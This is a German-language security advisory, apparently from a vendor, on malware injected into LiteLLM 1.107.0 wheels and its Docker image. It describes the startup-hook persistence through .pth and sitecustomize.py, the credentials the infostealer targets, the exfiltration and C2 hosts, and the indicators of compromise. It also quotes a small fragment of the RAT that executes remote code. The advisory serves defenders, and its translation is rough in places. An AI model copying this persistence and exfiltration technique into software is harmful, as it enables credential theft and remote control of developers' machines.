Am 21. Oktober 2026 wurde festgestellt, dass die Version 1.107.0 von LiteLLM (einem beliebten Open-Source-Proxy, mit dem Entwickler Anfragen an Dutzende von LLM-Anbietern weiterleiten können) von einem Angreifer kompromittiert wurde, der bösartigen Code in die auf PyPI veröffentlichten Python-Wheels eingeschleust hatte. Das offizielle Docker-Image für dieselbe Version ist ebenfalls kompromittiert.
Das Paket enthält zwei unterschiedliche schädliche Komponenten: einen Infostealer, der beim ersten Start Anmeldedaten und „ secrets “ abgreift, sowie einen Fernzugriffstrojaner (RAT), der es dem Angreifer ermöglicht, jederzeit beliebigen Code auf infizierten Rechnern auszuführen.
Update: PyPI hat die Version 1.107.0 inzwischen unter Quarantäne gestellt und entfernt. Das Docker-Image (litellm/litellm:1.107.0) wurde inzwischen sowohl von Docker Hub als auch von GHCR entfernt. GitHub hat zudem das „Dead-Drop“-Repository des Angreifers (letters9813/pythonclient-test) gelöscht, über das die RAT ihre C2-Domain abgerufen hat.
LiteLLM hat bestätigt, dass der Vorfall nun unter Kontrolle ist. Die neuesten Informationen und Anleitungen dazu, wie Sie vorgehen sollten, falls Sie betroffen sind, finden Sie im Beitrag von LiteLLM zum Sicherheitsvorfall. Wenn Sie die Version 1.107.0 installiert haben, bevor sie zurückgezogen wurde, sollten Sie Ihre Zugangsdaten weiterhin als kompromittiert betrachten und sie ändern.
Wer ist betroffen
Sie sind betroffen, wenn Sie pip install litellm==1.107.0 zwischen 21. Oktober, 11:39 Uhr und 12:47 Uhr UTC, oder wenn Sie das Docker- oder GHCR-Image über v1.107.0, aktuellste, main-latest, oder main-stable zwischen am 21. Oktober um 11:46 Uhr und 14:20 Uhr UTC.
Jeder, der in diesem Zeitraum eine Installation oder Deinstallation durchgeführt hat, sollte davon ausgehen, dass seine Zugangsdaten kompromittiert sind, und diese unverzüglich ändern. Überprüfen Sie, ob /tmp/.pc_once_* (die Exfiltration wurde bereits ausgelöst, falls diese Datei vorhanden ist) und /tmp/remote_code_loader.lock (Der C2-Daemon lief oder läuft noch, wenn diese Datei vorhanden ist).
Was geschah
Der Angreifer nutzte eine Direktive in LiteLLM aus, die pyproject.toml um Dateien in die kompilierten Wheels einzufügen, ohne das Quell-Repository zu verändern.
[tool.maturin]
data = "cook"
Modulname = "litellm.rust_bridge._native"Der data = "cook" Die Anweisung weist Maturin (das Rust/Python-Build-Tool von LiteLLM) an, den Inhalt eines Verzeichnisses namens kochen/ während des Build-Vorgangs in den Datenbereich des Wheels. Dieses Verzeichnis existiert weder im Quellcode-Tarball noch auf GitHub. Es wurde in der kompromittierten Build-Umgebung erstellt, und sein Inhalt wurde unbemerkt in jedes kompilierte Wheel integriert, das anschließend auf PyPI hochgeladen wurde.
Bei der Installation wurden drei schädliche Dateien in das Verzeichnis „site-packages“ von Python eingeschleust:
cook.pthist eine 12-Byte-Datei, die ausschließlichimport cook. Python-Prozesse.pthDateien im Verzeichnis „site-packages“ bei jedem Start des Interpreters, was dazu führt, dasscook.pyso, dass es jedes Mal automatisch ausgeführt wird, wenn Python auf dem Rechner aufgerufen wird, ohne dass weitere Maßnahmen seitens des Benutzers erforderlich sind.cook.pyenthält den Infostealer, der als einzelne Zeile stark verschleiert ist und eine 61.000 Byte große Nutzlast entpackt und ausführt.sitecustomize.pyist die RAT. Python führt die Datei zudem beim Start des Interpreters aus, noch bevor irgendein Benutzercode ausgeführt wird. Diese Datei startet einen Hintergrund-Daemon, der stündlich die Infrastruktur des Angreifers nach neuen Befehlen zum Ausführen abfragt.
Was es stiehlt
Sobald der Infostealer ausgeführt wird, sammelt er folgende Daten vom infizierten Rechner:
- Systeminformationen, darunter Hostname, Benutzername, Betriebssystemversion, laufende Prozesse und Netzwerkschnittstellen
- Gespeicherte Passwörter aus Chromium-basierten Browsern (Chrome, Edge, Brave, Vivaldi, Opera), einschließlich der mit AES entschlüsselten Passwortwerte, sowie der Browserverlauf dieser Browser
- Von Firefox gespeicherte Anmeldedaten
- SSH-Privatschlüssel von
~/.ssh/ - Shell-Verlauf aus Bash, Zsh und Fish
- Cloud Anmeldeinformationen von Anbietern, darunter AWS-Anmeldeinformationsdateien und -Konfigurationen, Azure-Authentifizierungstoken und der MSAL-Cache sowie die Standard-Anmeldeinformationen für GCP-Anwendungen. Zudem fragt das System die Endpunkte für Live-Instanz-Metadaten von AWS, GCP und Azure ab, um die für die laufende Instanz verfügbaren Anmeldeinformationen zu extrahieren.
- Docker-Konfigurationsdateien und Docker Swarm secrets
- Kubernetes Service-Account-Tokens
- CI/CD- secrets en, darunter GitLab-Runner-Konfigurationen, Jenkins-Administratorpasswörter und -Hauptschlüssel sowie HashiCorp-Vault-Token
- Entwickelnde Anmeldedaten und Konfigurationsdateien für Claude Code, Claude Desktop, Cursor, GitHub Copilot, Windsurf, Gemini CLI, Amazon Q, Codex CLI, Aider, Continue, HuggingFace und andere
- Git-Anmeldedaten,
.npmrc,.pypirc, sowie pip-Konfigurationsdateien - GPG-Privatschlüssel und TLS-Privatschlüssel
- Alle Umgebungsvariablen des aktuellen Prozesses und – unter Linux – aller anderen laufenden Prozesse über
/proc/<pid>/environ - Der Inhalt der LiteLLM-Datenbank direkt, einschließlich aller Zeilen aus
LiteLLM_CredentialsTable(gespeicherte API-Schlüssel für jeden Anbieter) undLiteLLM_ProxyModelTable(Modellkonfigurationen)
Alle erfassten Daten werden mit einem öffentlichen Schlüssel von RSA –4096 verschlüsselt, der fest in die Nutzlast eingebettet ist, und per HTTP-POST an http://www[.]litellm[.]dev/healthcheck. Bitte beachten Sie, dass diese Domain vom Angreifer kontrolliert wird und in keiner Verbindung zum legitimen LiteLLM-Projekt steht. Eine Sentinel-Datei unter /tmp/.pc_once_72129118c59f5636c0bb verhindert, dass der Infostealer mehr als einmal pro Rechner ausgeführt wird.
Fernzugriffstrojaner
sitecustomize.py wird aufgrund seines Dateinamens beim Start automatisch von Python ausgeführt, noch bevor irgendein Benutzercode ausgeführt wird. Es startet einen Hintergrund-Daemon, der eine Sperre an /tmp/remote_code_loader.lock um Mehrfachinstanzen zu verhindern, gerät das Programm dann in eine Endlosschleife.
Jede Stunde ruft der Daemon die aktuelle C2-Domain des Angreifers aus einem GitHub-Repository ab (raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain[.]txt), ruft anschließend eine Python-Payload von http://{domain}/codepy:
async def exec_code(code):
loop = asyncio.get_running_loop()
await loop.run_in_executor(
_executor,
lambda: exec(compile(code, "<remote>", "exec"), {"__name__": "__main__"}),
)Jedes Python-Programm, das der Angreifer an diesem Endpunkt ausführt, läuft mit den vollen Berechtigungen des Python-Prozesses und ohne Sandboxing. Dies ermöglicht es dem Angreifer, auf jedem infizierten Rechner auf unbestimmte Zeit nach Belieben Shell-Befehle auszuführen, zusätzliche Dateien abzulegen, sich lateral zu bewegen, Daten erneut zu exfiltrieren oder beliebige andere Payloads zu installieren.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Indikatoren für Kompromittierung
Betroffene Paketversionen
litellm==1.107.0PyPI-Paket, das aus einem beliebigen kompilierten Wheel installiert wurde (alle Betriebssysteme)- litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
- SHA256:
7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
- SHA256:
- litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl
- SHA256:
0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
- SHA256:
- litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl
- SHA256:
462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
- SHA256:
- litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl
- SHA256:
668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
- SHA256:
- litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl
- SHA256:
1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
- SHA256:
- litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl
- SHA256:
c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
- SHA256:
- litellm-1.107.0-cp310-abi3-win_amd64.whl
- SHA256:
12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
- SHA256:
- litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
litellm/litellm:1.107.0Docker-Image (linux/amd64 und linux/arm64), einschließlich des Abrufens über dieaktuellste,main-latest, undmain-stableTags
Dateindikatoren
cook.pthin Python unter „site-packages“- SHA256:
7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
- SHA256:
cook.pyin Python unter „site-packages“- SHA256:
9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
- SHA256:
sitecustomize.pyin Python unter „site-packages“- SHA256:
34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
- SHA256:
/tmp/.pc_once_72129118c59f5636c0bb(Sentinel-Datei, die nach der Ausführung des Infostealers zurückbleibt)/tmp/remote_code_loader.lock(Sperrdatei, die vom C2-Daemon während der Ausführung gehalten wird)
Netzwerkindikatoren
http://www[.]litellm[.]dev/healthcheck(Exfil-Endpunkt)https://raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain[.]txt(C2-Domänen-Abfrage)- Ausgehender HTTP-POST-Aufruf mit
User-Agent: Mozilla/4.0 (kompatibel; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)und KopfzeileX-Token: XWiA8gZNa7NcX2XRoAEb